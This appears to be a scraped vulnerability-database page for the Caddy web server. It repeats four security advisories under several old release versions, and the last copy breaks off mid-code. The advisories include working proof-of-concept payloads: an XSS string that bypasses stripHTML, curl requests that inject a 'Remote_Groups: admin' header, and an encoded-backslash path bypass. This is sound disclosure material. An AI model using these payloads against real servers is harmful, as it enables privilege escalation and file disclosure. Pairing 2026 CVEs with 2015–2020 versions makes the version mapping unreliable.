github.com/caddyserver/caddy

Version	Released
`v1.0.5` patch 4 CVEs	Jan 15, 2020
`v1.0.4` patch 4 CVEs	Nov 15, 2019
`v1.0.3` patch 4 CVEs	Aug 14, 2019
`v1.0.2` patch 4 CVEs	Aug 13, 2019
`v1.0.1` patch 4 CVEs	Jul 02, 2019
`v1.0.0` major 4 CVEs	Apr 24, 2019
`v1.0.0-beta2` pre 4 CVEs	Apr 20, 2019
`v1.0.0-beta1` pre 4 CVEs	Apr 09, 2019
`v0.11.5` patch 4 CVEs	Mar 04, 2019
`v0.11.4` patch 4 CVEs	Feb 15, 2019
`v0.11.3` patch 4 CVEs	Feb 05, 2019
`v0.11.2` patch 4 CVEs	Jan 16, 2019
`v0.11.1` patch 4 CVEs	Nov 12, 2018
`v0.11.0` minor 5 CVEs	May 10, 2018
`v0.10.14` patch 5 CVEs	Apr 20, 2018
`v0.10.13` patch 5 CVEs	Apr 18, 2018
`v0.10.12` patch 6 CVEs	Mar 27, 2018
`v0.10.11` patch 6 CVEs	Feb 20, 2018
`v0.10.10` patch 6 CVEs	Oct 09, 2017
`v0.10.9` patch 6 CVEs	Sep 12, 2017
`v0.10.8` patch 6 CVEs	Sep 08, 2017
`v0.10.7` patch 6 CVEs	Aug 25, 2017
`v0.10.6` patch 6 CVEs	Jul 28, 2017
`v0.10.5` patch 6 CVEs	Jul 27, 2017
`v0.10.4` patch 6 CVEs	Jun 28, 2017
`v0.10.3` patch 6 CVEs	May 19, 2017
`v0.10.2` patch 6 CVEs	May 02, 2017
`v0.10.1` patch 6 CVEs	May 02, 2017
`v0.10.0` minor 6 CVEs	Apr 20, 2017
`v0.9.5` patch 6 CVEs	Jan 24, 2017
`v0.9.4` patch 6 CVEs	Dec 21, 2016
`v0.9.3` patch 6 CVEs	Sep 28, 2016
`v0.9.2` patch 6 CVEs	Sep 20, 2016
`v0.9.1` patch 6 CVEs	Aug 17, 2016
`v0.9.0` minor 6 CVEs	Jul 19, 2016
`v0.8.3` patch 6 CVEs	Apr 26, 2016
`v0.8.2` patch 6 CVEs	Feb 25, 2016
`v0.8.1` patch 6 CVEs	Jan 12, 2016
`v0.8.0` minor 6 CVEs	Dec 04, 2015
`v0.7.6` patch 6 CVEs	Sep 28, 2015
`v0.7.5` patch 6 CVEs	Aug 05, 2015
`v0.7.4` patch 6 CVEs	Jul 30, 2015
`v0.7.3` patch 6 CVEs	Jul 15, 2015
`v0.7.2` patch 6 CVEs	Jul 01, 2015
`v0.7.1` patch 6 CVEs	Jun 02, 2015
`v0.7.0` minor 6 CVEs	May 25, 2015
`v0.6.0` minor 6 CVEs	May 06, 2015
`v0.5.1` patch 6 CVEs	Apr 30, 2015
`v0.5.0` initial 6 CVEs	Apr 28, 2015

v1.0.5 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 15, 2020

v1.0.4 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 15, 2019

v1.0.3 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
